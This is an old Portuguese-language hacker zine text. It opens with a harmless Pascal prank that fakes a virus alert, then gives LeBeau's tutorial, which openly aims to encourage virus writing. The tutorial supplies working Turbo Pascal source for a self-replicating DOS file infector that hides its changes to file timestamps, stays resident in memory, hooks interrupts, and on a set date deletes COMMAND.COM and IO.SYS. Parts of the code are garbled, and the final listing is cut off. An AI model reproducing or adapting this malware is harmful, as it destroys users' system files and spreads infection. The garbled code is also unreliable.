Simulacao de virus em PASCAL, basta compilar para rodar, assusta
o lamer, simula travar o CPU do coitado como se fosse um jogo! Feito e
enviado por LamaHunter. Aqui vai o SOURCE CODE desta simulacao de virus,
divirta-se!
Para compilar use o TURBO PASCAL 5.0 em diante. Nao mudem este prog.
somente aprenda com ele.
Inicio:
;Language: PASCAL (TURBO PASCAL)
;Created by: LamaHunter
;Date: 11/97
;Specil to Allansoft
-----------------------Corte aqui BUG.PAS-----------------------------------
program alsoft_virii_simul;
uses crt;
var
x:array[1..100] of integer;
j:integer;
t,t2:char;
begin
clrscr;
writeln(' Allansoft Zine Package for DOS Versão 1.0');
delay(33000);
writeln('(c) Copyright 1997 Allansoft inc. ');
writeln('Todos os direitos reservados.');
writeln;
delay(44000);delay(44440);
clrscr;
write('Iniciando a instalação:');write('.');delay(50000);
write('.');delay(50000);
write('.');delay(30000);write('.');delay(50000);
write('.');delay(30000);write('.');delay(30000);write('.');
write('.');delay(50000);write('.');delay(30000);delay(60000);
writeln;
clrscr;
writeln;
writeln('Checando espaço disponível em disco para
começar a instalação:');
for j:=1 to 100 do
begin
gotoxy(7,3);
write(j,'% checked ');
delay(4000);
end;
delay(2000);
writeln;
writeln;
writeln;
writeln('Atenção! O vírus Michellangelo foi
encontrado em seu computador ');
delay(20000);
writeln;
Writeln(' Impossível achar COMMAND.COM! Sistema Paralizado');
for j:=1 to 100 do
delay (50000);
writeln;
Writeln('Assustado??');
nosound;
end.
-------------------------Fim do corte---------------------------------------
Pronto, tah ai o seu viruzinho em pascal e nao me enche mais o saco!
+-------------------------TVIRUS.TXT--------------------------------------+
|
|
|
TUTORIAL DE COMO CRIAR UM VIRUS
|
|
EM PASCAL (BY LEBEAU)
|
|
|
|
|
|
|
|
|
| Como eu diria: Conhecimento e poder, ter paciencia
para |
| alcanca-lo e fundamental.
|
|
|
|
|
| v. 1.01
Last modified: 23/05/97
|
+---------------------------------------------------------------------------------+
+--------------------------------------------------------------------------------------------------+
| Atencao: Estou a fim de receber textos sobre hacking ou Virus,
pode ser |
| em portugues ou em ingles para que eu possa colocar em minha HP.
|
+--------------------------------------------------------------------------------------------------+
---------------------------------------------------------------------------
Proposito do tutorial:
---------------------------------------------------------------------------
Antes de nada, eu fiz esse virus para aqueles que ja tenham algum
conhecimento em logica/programacao em Pascal ou outra linguagem,
Espero com esse texto mostrar/ensinar/incentivar a criacao de virus,
materia pouco tratada por nos brasileiros, poucos sao aqueles que fazem
virus (Nao estou dizendo que nao ha, existir existe mas eles nao aparecem
para divulgar o que fez tipo montando um zine brasileiro somente sobre
criacao de virus com as sua variadas tecnicas), geralmente o que o pessoal
faz e colocar uma copia de um virus em sua HP, so para constar. Bom,
eu adoro a criacao de virus, venho criando/arrumando meu virus ja de um
tempo atras, antes mesmo de conhecer a Internet eu ja fazia algo sobre
o assunto, mas depois que eu conheci a Net que eu pude me inteirar mais
sobre o assunto, atraves de Zines como a 40hex americana e a Minotauro
argentina, sou colecionador de virus, tenho mais ou menos 50 virus em casa
mais 3 programas que criam virus e percebi o quanto o Brasil estava atrasando
quanto a isso. Portanto, eu resolvi criar esse tutorial de como fazer um
virus em Pascal (Porque em Pascal? Leia a Introducao e voce sabera) o virus
que eu mostro nesse tutorial foi o primeiro que eu fiz, do tipo normal,
fora esse eu tenho mais outro virus de um genero diferente: COMpanion.
Bom antes que eu me esqueca, esse tutorial e de genero educacional
somente, O autor do Tutorial/criador do virus nao se responsabilizara pelas
idiotices que os leitores fizerem com esse tutorial/virus.
Esse texto, nao trata apenas de virus, trata de logica de virus
e tudo que envolve isso, ele ensina/mostra muita coisa que voce pode por
em algum programa que nao tenha nada a ver com virus.
Qualquer duvida mande um email para:
[email protected]
ou visite minha HP:
http://www.geocities.com/SiliconValley/Lakes/3892
LeBeau
---------------------------------------------------------------------------
Introducao
---------------------------------------------------------------------------
Vamos comecar esse tutorial tendo em mente uma coisa: O que e um
virus de computador?
Um virus de computador nada mais e que um programa que se auto-copia,
ou seja, nao e necessario que eu digite um comando especifico que ative
ele, basta executar o programa que contem o virus (Geralmente sem querer),
o que eu pretendo fazer com esse texto e tentar ensinar a vc como criar
um virus simples em pascal, tentando mostrar a logica dele. Eu peguei
a linguagem Pascal para fazer esse virus, por que para mim ela e uma das
melhores que existem, e tambem para ensinar a logica do virus o Pascal
e otimo, eu poderia ter criado um tutorial de como fazer um virus em ASM,
mas poucos iriam poder usufruir totalmente da logica, por outro lado quase
todo mundo programa em Pascal, entao ai esta. So tem uma coisa que
eu nao gostei nesse virus em Pascal: O tamanho dele pronto, ele fica
com um tamanho variando de 8 K a 12 K, o que para um virus e muito, em
ASM ou C ficaria em torno de 1 K a 4 K, mas a pessoa que ler esse texto
pode muito bem passar esse programa do Pascal para o C ou ASM, caso alguem
faca isso, eu pediria para que me enviassem o codigo final.
Depois disso, vamos tratar de criar um plano de ataque para o meu
virus, ou seja como ele vai agir.
---------------------------------------------------------------------------
Teorizando:
---------------------------------------------------------------------------
O virus que eu fiz em Pascal trabalha do seguinte jeito, ele copia somente o virus para um arquivo temporario e depois ele copia o arquivo hospedeiro para o final dele, depois apagava o arquivo hospedeiro original do disco e renomeava o arquivo temporario de modo a ter o nome do arquivo hospedeiro.
Seria algo como concatenacao de arquivos, se eu fosse fazer isso em DOS, eu faria assim:
Comandos:
copy /b virus.exe+arquivo.exe virtemp.tmp
del arquivo.exe
ren virtemp.tmp arquivo.exe
Onde:
virus.exe = virus (somente)
arquivo.exe = arquivo hospedeiro (Pode ser extensao .exe ou .com,
nao ha
diferenca)
virtemp.tmp = arquivo infectado temporario
/b = realiza copia binaria
---------------------------------------------------------------------------
Problemas:
---------------------------------------------------------------------------
So que o virus nao e tao simples assim. Problemas a serem tratados:
1) O DOS nesse caso, somente executaria o virus, deixando o programa hospedado sem ser executado, o certo e que ele seja executado.
2) A data e hora do arquivo ficam alterados, o certo e que elas continuem
inalteradas.
---------------------------------------------------------------------------
Possiveis solucoes:
---------------------------------------------------------------------------
1) Criar uma funcao que desfaca o que foi feito, gravando o arquivo com outro nome e depois executando ele de dentro do virus.
2) Gravar data e hora do arquivo para variaveis e depois recoloca-las
no arquivo.
---------------------------------------------------------------------------
Outras questoes a abordar:
---------------------------------------------------------------------------
1) Reproducao - Ele tem que se reproduzir, senao ele nao pode ser chamado de virus.
2) Execucao - Ele tera que executar o programa hospedeiro.
3) Acoes que ele possa vir a fazer - Algo que se coloque no codigo
do programa para que o virus execute, tipo apagar command.com, impedir
que a impressora.
Imprima (em modo DOS), tocar sons e/ou fazer uma bolinha passear
na tela (Isso o que eu geralmente uso), ou entao fazer dele um virus anti-virus.
4) Programa Anti-virus - Isso mesmo um anti-virus, seria a coisa
mais idiota voce fazer um virus e nao ter uma protecao contra ele, uma
vez que voce
vai realizar varios testes, vai que ele escapa do seu
controle. O Anti-virus no caso seria um programa SEU em Pascal que desinfectasse
o arquivo.
5) Programa que mostra o tamanho e o cabecalho do seu virus - O virus necessita de informacoes quanto a si proprio para agilizar o esquema.
6) Encriptacao - Esconder os dados de alguem que veja o conteudo do virus!
7) Quantos arquivos a serem infectados - Quantidade maxima de arquivos
a serem infectados. Questao de seguranca.
---------------------------------------------------------------------------
Fluxograma:
---------------------------------------------------------------------------
Virus Executado
|
|
(inicinf)Iniciar
infeccao nos caminhos
c:\dos\*.com,
c:\dos\*.exe, *.com, *.exe
c:\windows\*.com, c:\windows\*.exe
|
|
(infec)Infecta os arquivos do diretorio fornecido.
|
|
(procura)Procura primeiro arquivo a infectar
|
|
+-----> (verifica) Arquivo Infectado? ---S--------------------------------+
|
|
|
|
| N
|
| (infec)Copia
virus (sem arq hospedeiro)
|
|
para um arquivo chamado virtemp.tmp
|
|
|
|
|
|
|
|
Copia arquivo a ser infectado a partir
|
|
do fim do virus (concatenacao):
|
|
copy /b virtemp.exe+arquivo.exe virtemp.tmp
|
|
|
|
|
|
|
| Grava data e hora do arquivo em
variaveis.
|
|
|
|
|
|
|
| Apaga arquivo original a ser infectado (del arquivo.exe)
|
|
|
|
|
|
|
|
|
| Renomeia virus com arquivo infectado(virtemp.tmp)
para
|
| arquivo.exe: ren virtemp.tmp
arquivo.exe
|
|
|
|
|
|
|
| Recupera
a data e hora do arquivo hospedeiro
|
|
|
|
|
|
|
+-------------S-- Procura mais arquivos. <---------------------------------+
Existem mais arquivos?
|
| N
(executa)Iniciar
execucao do programa hospedeiro
|
|
Separar programa hospedeiro do virus
|
|
Posicionar ponteiro
no fim do virus (e inicio
do arquivo)
|
|
Iniciar
a copiar a partir deste ponto
ate o fim do arquivo (Resultado: programa
sem virus pronto a ser executado)
para um arquivo chamado virtemp.TMP
|
|
Executar arquivo virtemp.tmp
|
|
Limpar o conteudo do arquivo
virtemp.tmp (de modo que nao
se possa recuperar o que tinha
dentro dele)
|
|
Apagar o arquivo virtemp.tmp
|
|
Iniciar procedimentos que ele possa vir
a fazer (Apagar arquivos, mexer com a
impressora, etc).
|
|
Fim do virus
---------------------------------------------------------------------------
Iniciando a infectar:
---------------------------------------------------------------------------
Vamos iniciar a infeccao, nesse caso seria somente iniciar o caminho
que se
quer infectar. Nesse caso: c:\dos\*.com, c:\dos\*.exe, *.com, *.exe,
c:\windows\*.com, c:\windows\*.exe, junto disso deve ser dado o
diretorio de
trabalho.
Procedure inicinf;
begin
if MOSTRA then writeln('Iniciando infeccao dos arquivos');
arquiv:=0;
procura('*.com','');
procura('*.exe','');
procura('c:\windows\*.com','c:\windows\');
procura('c:\windows\*.exe','c:\windows\');
procura('c:\dos\*.com','c:\dos\');
procura('c:\dos\*.exe','c:\dos\');
if MOSTRA then writeln('Infeccao dos arquivos Finalizada.
Com um total de:');
if MOSTRA then writeln(arquiv,' arquivos infectados.');
end;
Como se pode ver, essa procedure somente lanca outra, outra coisa,
e preciso
fornecer um diretorio de trabalho para o esquema poder funcionar
direito.
---------------------------------------------------------------------------
Infeccao de virus:
---------------------------------------------------------------------------
Essa parte ainda seria um procedure que lanca outra, mas ela trabalharia mais a nivel de arquivo do que a anterior.
procedure procura(nome,dir:string);
begin
if MOSTRA then writeln('Iniciando infeccao do diretorio:
',nome);
FindFirst(nome, Archive, DirInfo);
{$i+}
while (DosError = 0) and (arquiv'COMMAND.COM') then begin
HORAINI(NOME); {Grava data e hora do arquivo}
assign(FromF,nome);
reset(FromF,1);
assign(ToF,'virtemp.tmp');
Rewrite(ToF,1);
repeat
BlockRead(FromF, buf2, SizeOf(buf2),
numread);
BlockWrite(ToF, buf2, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
{Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro arquivo temporario}
assign(FromF,nome_arq); {nome_arq: explicado mais
tarde}
reset(FromF, 1);
assign(ToF, nome);
Rewrite(ToF, 1);
BlockRead(FromF, buf, SizeOf(buf), numread);
{Caso vc nao se lembre, o BUF e o buffer}
BlockWrite(ToF, buf, numread, NumWritten);
{que contera o virus, que nesse caso ele}
close(FromF);
{copiara somente o virus para o arquivo a}
close(tof);
{ser infectado (arquivo.exe) em que havia sido}
{movido o seu conteudo para virtemp.tmp }
{deixando, por enquanto somente o virus no }
{arquivo
}
assign(FromF,'virtemp.TMP');
reset(FromF, 1);
assign(ToF, nome);
reset(tof,1);
seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao
final do arquivo}
repeat
BlockRead(FromF, buf, SizeOf(buf), numread);
BlockWrite(ToF, buf, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
erase(fromf);
HORAFIM(NOME);
end;
{Essa parte seria a concatenacao virus+arquivo, onde o arquivo
seria acrescentado no fim do
virus}
if MOSTRA then writeln('Infeccao completa.');
end;
procedure procura(nome,dir:string);
begin
if MOSTRA then writeln('Iniciando infeccao do diretorio:
',nome);
FindFirst(nome, Archive, DirInfo);
{$i+}
while (DosError = 0) and (arquiv numread);
close(FromF);
close(tof);
exec('virtemp.tmp',paramstr(1)+' '+paramstr(2)+' '+paramstr(3));
{Executa o programa aqui}
rewrite(tof); {Agora vou limpar o conteudo e apagar o arquivo}
close(tof);
erase(tof);
if MOSTRA then writeln('Execucao do programa hospedeiro finalizada');
end;
---------------------------------------------------------------------------
Corpo Principal do programa:
---------------------------------------------------------------------------
Vamos ter que iniciar as funcoes do virus:
begin
if MOSTRA then writeln('Iniciando o Virus');
nome_arq:=paramstr(0); {Essa variavel ira conter o nome do
programa que esta sendo executado no momento. Caso o nome que foi
executado
seja EDIT.exe essa variavel
contera EDIT.EXE}
SETCBREAK(FALSE); {Para que o usuario nao possa apertar Ctrl-C}
contra(nome_arq);
inicinf;
executa;
apag_arq;
GetIntVec($1c,@int1c); {Essa parte
sera vista mais adiante}
SetIntVec($1c,Addr(bola));
vbola:=false;
cx:=random(80);{Aleatorizar a posicao da bola na tela}
cy:=random(24);
GetIntVec($17,@printer);
{Essa parte sera vista mais adiante}
SetIntVec($17,Addr(escrever)); {Essa parte mostra ao
computador para usar
O procedimento escrever como padrao para a
impressora}
if MOSTRA then writeln('Fim do virus.');
keep(0); {Deixa o programa residente na memoria.}
if mostra then writeln('Programa Residente');
end.
---------------------------------------------------------------------------
Programas necessario a execucao do Virus:
---------------------------------------------------------------------------
Vou mostrar alguns programas necessarios para o correto uso desse virus:
1) Programa que determina o cabecalho e ja mostra o tamanho do executavel.
Esse programa tem que ser colocado em um arquivo
com o seguinte codigo:
program Cabecalho;
uses crt;
var
arq: file;
NumRead, NumWritten: Word;
Buf: array[1..5] of Char;
begin
Assign(arq, 'virus.exe'); { Open input file }
Reset(arq, 1); { Record size = 1 }
Writeln('Tamanho do Virus: ', FileSize(arq), ' bytes...');
BlockRead(arq, Buf, SizeOf(Buf), NumRead);
Close(arq);
writeln('Cabecalho: ',buf[1],buf[2],buf[3],buf[4],buf[5]);
writeln('Codigo Ascii: ',ord(buf[1]),' ',ord(buf[2]),' ',ord(buf[3]),'
',ord(buf[4]),' ',ord(buf[5]));
end.
2) Programa Antivirus: Para se ter um programa anti-virus desse virus,
e necessario os seguintes dados: LENVIRUS e os primeiros 5 bytes do arquivos
Lenvirus e fundamental pois so com ele se pode desinfectar os arquivos.
Uma vez que e ele quem fornece a posicao do fim do
virus e inicio do arquivo que vai ser liberado.
Os primeiros 5 bytes podem ser arrajandos atraves do
programa Cabecalho visto anteriormente. O codigo de um programa antivirus
com todos os dados preenchidos ficaria assim:
program antivirus;
uses crt,dos;
const
CAB:string[5]=CHR(77)+CHR(90)+CHR(48)+CHR(1)+CHR(23);
{ CABECALHO DO VIRUS - ALTERE SE MODIFICADO}
LENVIRUS = 11568;
PROCEDURE limpa(nome:string);
var
buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
buf2: array[1..2048] of Char; {Variavel
necessaria para a copia}
numread, NumWritten: Word;
fromf,tof:file;
begin
assign(FromF,nome);
reset(FromF, 1);
if filesize(fromf)>lenvirus then begin
assign(ToF, 'virtemp.tmp');
rewrite(tof,1);
seek(fromf,LENVIRUS); {Posiciona o ponteiro do
arquivo na posicao final do arquivo}
repeat
BlockRead(FromF, buf, SizeOf(buf),
numread);
BlockWrite(ToF, buf, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
erase(fromf);
rename(tof,nome);
end;
end;
function verifica(nome:string):boolean;
VAR
buf: array[1..10] of Char;
numread:WORD;
con:integer;
vfile:file;
begin
con:=1;
assign(vFile,NoME);
reset(vFile,1); { Record size = 1 }
BlockRead(vFile, buf, SizeOf(buf), numread);
IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
begin
{Verifica o cabecalho do arquivo}
verifica:=TRUE
{para ver se ja foi infectado}
end ELSE
begin
verifica:=FALSE;
end;
close(vFile);
END;
procedure procura_arqs(direct:string);
var
DirInfo: SearchRec;
{ For Windows, use TSearchRec }
begin
{ For Windows, use faArchive }
FindFirst(direct, Archive, DirInfo); { Same as DIR *.PAS
}
while DosError = 0 do
begin
if verifica(dirinfo.name) then begin
Writeln(DirInfo.Name);
limpa(dirinfo.name);
end;
FindNext(DirInfo);
end;
end;
begin
procura_arqs('*.exe');
procura_arqs('*.com');
end.
---------------------------------------------------------------------------
Acoes do virus:
---------------------------------------------------------------------------
Vou dar alguns exemplo de acoes que o virus pode vir a fazer:
1) Torna-lo residente em memoria, e algum tempo depois de ser executado ele mostrara uma bola passeando na tela.
2) Apagar arquivos \command.com e \io.sys a partir da data 12/07/98
3) Tocar um beep a cada vez que o usuario teclar uma tecla.
4) Impedir que a impressora imprima.
5) Que tal um virus anti-virus?
---------------------------------------------------------------------------
Exemplos de acoes do virus:
---------------------------------------------------------------------------
1) Para fazer uma bola passear na tela e preciso torna-lo residente, e para isso e necessario o seguinte:
- incluir uma linha: {$M $8500,0,0 } na primeira linha,
seria a parte de
memoria a ser reservada para o programa.
O valor pode ser alterado.
Essa parte determina a quantidade de memoria
que o virus tera quando ficar
residente, com esse valor ficaria com cerca
de 45 k, um valor alto demais,
mas voce pode alterar o valor a vontade,
desde que voce teste o virus.
Tambem recomendaria incluir a seguinte
linha depois do $M :
{$S-,R-,I-,V-,f+}, mesmo que voce deixe
ele residente ou nao.
- incluir uma variavel global int1c : Procedure; mais
vx,vy,cx,cy:integer; para
determinar a posicao da bola na tela, mais
vbola:boolean para dar um tempo
quando vbola for true, sera executado o
codigo para mexer o cursor, ate la
nao aparece nada.
- incluir o seguinte codigo de programa:
procedure bola; interrupt;
var
cont:integer;
begin
if not vbola then
if port[$60]<$80 then
inc(con);
if con=550 then
vbola:=true;
if vbola then
begin
cont:=random(4)+1;
vy:=wherey;
vx:=wherex;
gotoxy(cx,cy);
write('Û');
case cont of
1:if cx<78 then inc(cx);
2:if cx>1 then dec(cx);
3:if cy<23 then inc(cy);
4:if cy>1 then dec(cy);
end;
gotoxy(cx,cy);
write('þ');
gotoxy(vx,vy);
end;
inline ($9C);
int1c;
end;
Mais o seguinte no codigo de programa na parte principal do virus
(de preferencia uma linha antes do end.):
vbola:=false;
vx:=random(80);{Aleatorizar a posicao da bola na tela}
vy:=random(24);
GetIntVec($1c,@int1c);
SetIntVec($1c,Addr(bola));
keep(0); {Esse Keep faz com que o programa finalize E fique
residente na
memoria, permitindo entao que se use as Interrupcoes $1C e a
$17 ($1C seria uma interrupcao que e executada ininterruptamente,
permitindo que se faca uma bola passear pela tela, $17 seria a
impressora, visto mais adiante)
2) Para apagar os arquivos \command.com e \io.sys a partir da data 12/07/98 (data em que faco 20 anos, belo presente, ne?). Seria necessario o seguinte:
procedure apag_arq;
var
m,dia,ano,dow:word;
mes:boolean;
f:file;
begin
if mostra then writeln('Pegando data atual');
getdate(ano,m,dia,dow);
mes:=false;
if ano=1998 then
if m>=7 then {Data
de ativacao: 12/07/1998}
if dia>=12 then
mes:=true;
if ano>1998 then mes:=true;
if mostra then writeln('Pegando data atual finalizado');
if mes then begin
if mostra then writeln('Iniciando a apagar os
arquivos: \command.com e \io.sys');
assign(f,'c:\command.com');
erase(f);
assign(f,'c:\io.sys');
erase(f);
end;
end;
Mais a linha apag_arq no corpo principal.
3) Para tocar um beep a cada vez que o usuario tecla algo, e necessario
acrescentar o seguinte codigo de programa na procedure bola, vista
anteriormente:
if Port[$60] < $80 then
begin
Sound(5000);
Delay(1);
Nosound;
end;
4) Para impedir que a impressora imprima, e necessario que se entenda
um pouco de interrupcoes: E o seguinte, tudo no computador funciona
por meio de interrupcoes, o teclado, o mouse, o video, A IMPRESSORA, tudo
mesmo e controlado por interrupcoes, no caso nos vamos mexer com a impressora,
mas voce poderia fazer o que bem entender com o que voce quiser no computador.
Podia travar a maquina, reseta-la, entre outros.
Vou mostrar agora o codigo desse procedimento:
procedure escrever;interrupt;
begin
Sound(random(5000));
Delay(1);
Nosound;
inline ($9C);
printer;
end;
Impede a impressora de imprimir e ainda faz barulho. Ahh, isso
nao funciona
dentro do Win95, no Win 3.1x funciona, grande avanco de um para
o outro ne?
Mais o seguinte codigo uma linha antes do keep(0) visto na questao 1:
GetIntVec($17,@printer);
SetIntVec($17,Addr(escrever)); {Essa parte mostra ao
computador para usar
O procedimento escrever como padrao para a
impressora}
Mais a variavel global:
printer:procedure;
5) Um Virus anti-virus nesse caso, seria impedir que qualquer virus estranho seja executado DUAS vezes no arquivo infectado com esse virus, e o seguinte os virus estranhos (diferentes deste) normalmente alteram os 3 primeiros bytes do programa executavel colocando la um jump (JMP em ASM para quem conhece, pulo de um lugar para outro para quem nao conhece NADA) para executar o virus e depois volta para a posicao depois do jump, executando o programa normalmente, o que nos faremos e o seguinte, guardar os primeiros 5 bytes (para garantir vai 5) para depois caso o programa se altere, repor os bytes originais, impedindo que o programa de um jump ate o virus, so que o virus estranho vai ser executado uma vez, depois dele ser executado, o virus em Pascal ira limpar os primeiros bytes do arquivo, so tem um defeito, ele limpa o inicio, o fim do arquivo fica no mesmo estado que estava antes, ou seja, com o virus, so que agora ele esta inativo. Essa funcao serve mais para avisar ao usuario que o computador esta infectado por algum virus. Um exemplo disso vai a seguir, sendo que para se testar a desinfeccao e necessario fornecer um nome de arquivo que vai ser o nome do virus:
procedure contra(non:string);
var
FromF, ToF: file;
ARQ:text;
Ft:FILE of char;
f:file;
function vervir(nome:string):boolean;
VAR
Buf: array[1..10] of Char;
NUMREAD:WORD;
con:integer;
begin
if mostra then writeln('Iniciando verificacao de infeccao
do arquivo ',nome);
con:=1;
ASSIGN(F,NoME);
ReSET(F,1); { Record size = 1 }
BlockRead(F, Buf, SizeOf(Buf), NumRead);
IF (BUF[1]=cab[1]) AND (BUF[2]=cab[2])AND (BUF[3]=cab[3])AND
(BUF[4]=cab[4])AND (BUF[4]=cab[4]) tHEN
{Verifica o cabecalho do arquivo}
vervir:=TRUE
{para ver se ja foi infectado}
ELSE
vervir:=FALSE;
Close(F);
if mostra then writeln('Verificacao de infeccao finalizada');
END;
procedure antivir;
begin
if not vervir(non) then
begin
if mostra then writeln('Arquivo Infectado, tentando
desinfectar...'); {Arquivo infectado, tentando desinfectar...}
aSSIGN(Ft,paramstr(0));
ReSET(Ft); { Record size = 1 }
write(ft,cab[1]);
write(ft,cab[2]);
write(ft,cab[3]);
write(ft,cab[4]);
write(ft,cab[5]);
close(ft);
if mostra then writeln('Desinfeccao completa!'); {Desinfeccao
completa}
textcolor(white+blink);
writeln('Atencao: Seu computador esta infectado por
virus! Sugiro passar Anti-virus!');
textcolor(white);
end;
end;
begin
if mostra then writeln('Inicio do procedimento anti-virus.');
antivir;
if mostra then writeln('Fim do procedimento anti-virus.');
end;
Eu sugiro que a linha contendo o codigo contra(nome_arq); seja colocada
antes da linha inicinf;, porque se o programa estiver infectado por algum
virus estranho o virus em Pascal ira reinfectar o arquivo atual.
---------------------------------------------------------------------------
Constantes a serem usadas:
---------------------------------------------------------------------------
Esse programa necessita de algumas constantes para ter melhor controle sobre si proprio.
CONST
LENVIRUS=11616; {TAMANHO DO VIRUS - ALTERE SE MODIFICADO,
USE O PROGRAMA
CABECALHO PARA ISSO}
CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+CHR(23);
{ CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
USE O PROGRAMA CABECALHO PARA ISSO}
MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado
por vez}
FILES=10; {Arquivos a serem infectados por vez}
MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}
---------------------------------------------------------------------------
Variaveis globais a serem usadas:
---------------------------------------------------------------------------
Sem explicacoes, e necessario ter variaveis para o programa poder funcionar.
VAR
fvir,vfile,fromf,tof:file; {Arquivo que vai conter
o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
para a copia do virus }
con:integer; {variavel contadora}
int1c : Procedure; {Esses dois serao vistos em exemplos
de acoes do virus}
printer:procedure;
buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia
de arquivos}
vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
h, m, s, hund,day,mon,year : Word; {Necessario para conter
a data e a hora do arquivo}
dat:datetime; {Vai conter a hora do arquivo}
ftime:longint; {Hora do arquivo}
vbola:boolean;
nome_arq:pathstr; {Ira conter o nome do arquivo com o virus,
muito necessario}
arquiv:integer; {Quantidade de arquivos infectados ate o
momento}
dirinfo:searchrec; {Muito usado no virus, e responsavel por
procurar arquivos onde eu
quiser usando coringas (*.exe,c:\dos\*.com)}
---------------------------------------------------------------------------
Bibliotecas de funcoes necessarias ao funcionamento:
---------------------------------------------------------------------------
Para executar esse programa e necessario algumas bibliotecas de funcoes para o correto funcionamento:
USES crt,windos,dos;
---------------------------------------------------------------------------
Listagem do programa como ele deveria ficar:
---------------------------------------------------------------------------
Aqui vai a listagem do Programa Completo do jeito que ele deveria
ficar, eu sugiro que voce salve esse codigo abaixo em um arquivo chamado
virus.pas, depois de compilado o nome do virus ficara virus.exe (Incrivel,
ne?), nao esqueca de sempre que voce modificar o virus usar o programa
Cabecalho para atualizar o virus.
Bom, la vai:
{$M $2500,0,0 }
{$S-,R-,I-,V-,f+}
Program Exemplo_de_virus_em_Pascal;
USES crt,windos,dos;
CONST
LENVIRUS=11616; {TAMANHO DO VIRUS - ALTERE SE MODIFICADO,
USE O PROGRAMA
CABECALHO PARA ISSO}
CAB:string[5]=CHR(77)+CHR(90)+CHR(96)+CHR(1)+cHR(23);
{CABECALHO DO VIRUS - ALTERE SE MODIFICADO,
USE O PROGRAMA CABECALHO PARA ISSO}
MAXBUFLEN=1024; {Tamanho do buffer em bytes a ser copiado
por vez}
FILES=10; {Arquivos a serem infectados por vez}
MOSTRA=true; {Voce quer saber o que o seu virus esta fazendo?}
VAR
fvir,vfile,fromf,tof:file; {Arquivo que vai conter
o virus, variavel de arquivo usado na no virus, 2 variaveis necessarias
para a copia do virus }
con:integer; {variavel contadora}
int1c : Procedure; {Esses dois serao vistos em exemplos
de acoes do virus}
printer:procedure;
buffer:ARRAY[1..MAXBUFLEN] OF CHAR; {Necessario para a copia
de arquivos}
vx,vy,cx,cy:integer; {Coordenadas x,y da bola na tela}
h, m, s, hund,day,mon,year : Word; {Necessario para conter
a data e a hora do arquivo}
dat:datetime; {Vai conter a hora do arquivo}
ftime:longint; {Hora do arquivo}
vbola:boolean;
nome_arq:pathstr; {Ira conter o nome do arquivo com o virus,
muito necessario}
arquiv:integer; {Quantidade de arquivos infectados ate o
momento}
dirinfo:searchrec; {Muito usado no virus, e responsavel por
procurar arquivos onde eu
quiser usando coringas (*.exe,c:\dos\*.com)}
procedure HORAINI(NOME:STRING);
var
arq:file;
begin
if MOSTRA then writeln('Gravando data e hora do arquivo:
',nome);
assign(arq, NOME); {Pega a hora de criacao
do arquivo}
reset(arq);
Getftime(arq,ftime);
UnpackTime(ftime,dat);
H:=dat.HOUR;
M:=dat.MIN;
S:=dat.SEC;
day:=dat.day;
mon:=dat.month;
year:=dat.year;
close(arq);
if MOSTRA then writeln('Concluida gravacao do de data e hora
do arquivo: ',nome);
END;
PROCEDURE HORAFIM(NOME:STRING);
var
arq:file;
BEGIN
if MOSTRA then writeln('Restaurando data e hora original
do programa: ',nome);
dat.HOUR:=H; {Restaura a data e hora original}
dat.MIN:=M;
dat.SEC:=S;
dat.day:=day;
dat.month:=mon;
dat.year:=year;
assign(arq, NOME);
reset(arq);
PackTime(dat,ftime);
reset(arq);
Setftime(arq,ftime);
close(arq);
if MOSTRA then writeln('Restauracao do arquivo ',nome,' concluida');
END;
function verifica(nome:string):boolean;
VAR
buf: array[1..10] of Char;
numread:WORD;
con:integer;
begin
if MOSTRA then writeln('Iniciando verificacao se o arquivo
',nome,' ja foi infectado.');
con:=1;
assign(vFile,NoME);
reset(vFile,1); { Record size = 1 }
BlockRead(vFile, buf, SizeOf(buf), numread);
IF (buf[3]=CAB[3]) AND (buf[4]=CAB[4]) then
begin
if MOSTRA then writeln('Verificacao completa
- arquivo infectado ');
{Verifica o cabecalho do arquivo}
verifica:=TRUE
{para ver se ja foi infectado}
end ELSE
begin
verifica:=FALSE;
if MOSTRA then writeln('Verificacao completa
- arquivo nao infectado ');
end;
close(vFile);
END;
procedure infec(nome:string);
var
buf: array[1..LENVIRUS] of Char; {Tamanho do virus}
buf2: array[1..2048] of Char; {Variavel
necessaria para a copia}
numread, NumWritten: Word;
begin
if MOSTRA then writeln('Iniciando a infeccao do arquivo ',nome);
if (nome<>'VIRTEMP.TMP') and (nome<>'COMMAND.COM')
then begin
HORAINI(NOME); {Grava data e hora do arquivo}
assign(FromF,nome);
reset(FromF,1);
assign(ToF,'virtemp.tmp');
Rewrite(ToF,1);
repeat
BlockRead(FromF, buf2, SizeOf(buf2),
numread);
BlockWrite(ToF, buf2, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
{Ate aqui seria a parte onde se copia o arquivo a ser infectado para outro arquivo temporario}
assign(FromF,nome_arq); {nome_arq: explicado mais
tarde}
reset(FromF, 1);
assign(ToF, nome);
Rewrite(ToF, 1);
BlockRead(FromF, buf, SizeOf(buf), numread);
{Caso vc nao se lembre, o BUF e o buffer}
BlockWrite(ToF, buf, numread, NumWritten);
{que contera o virus, que nesse caso ele}
close(FromF);
{copiara somente o virus para o arquivo a}
close(tof);
{ser infectado (arquivo.exe) em que havia sido}
{movido o seu conteudo para virtemp.tmp }
{deixando, por enquanto somente o virus no }
{arquivo
}
assign(FromF,'virtemp.TMP');
reset(FromF, 1);
assign(ToF, nome);
reset(tof,1);
seek(tof,LENVIRUS); {Posiciona o ponteiro do arquivo na posicao
final do arquivo}
repeat
BlockRead(FromF, buf, SizeOf(buf), numread);
BlockWrite(ToF, buf, numread, NumWritten);
until (numread = 0) or (NumWritten <> numread);
close(FromF);
close(tof);
erase(fromf);
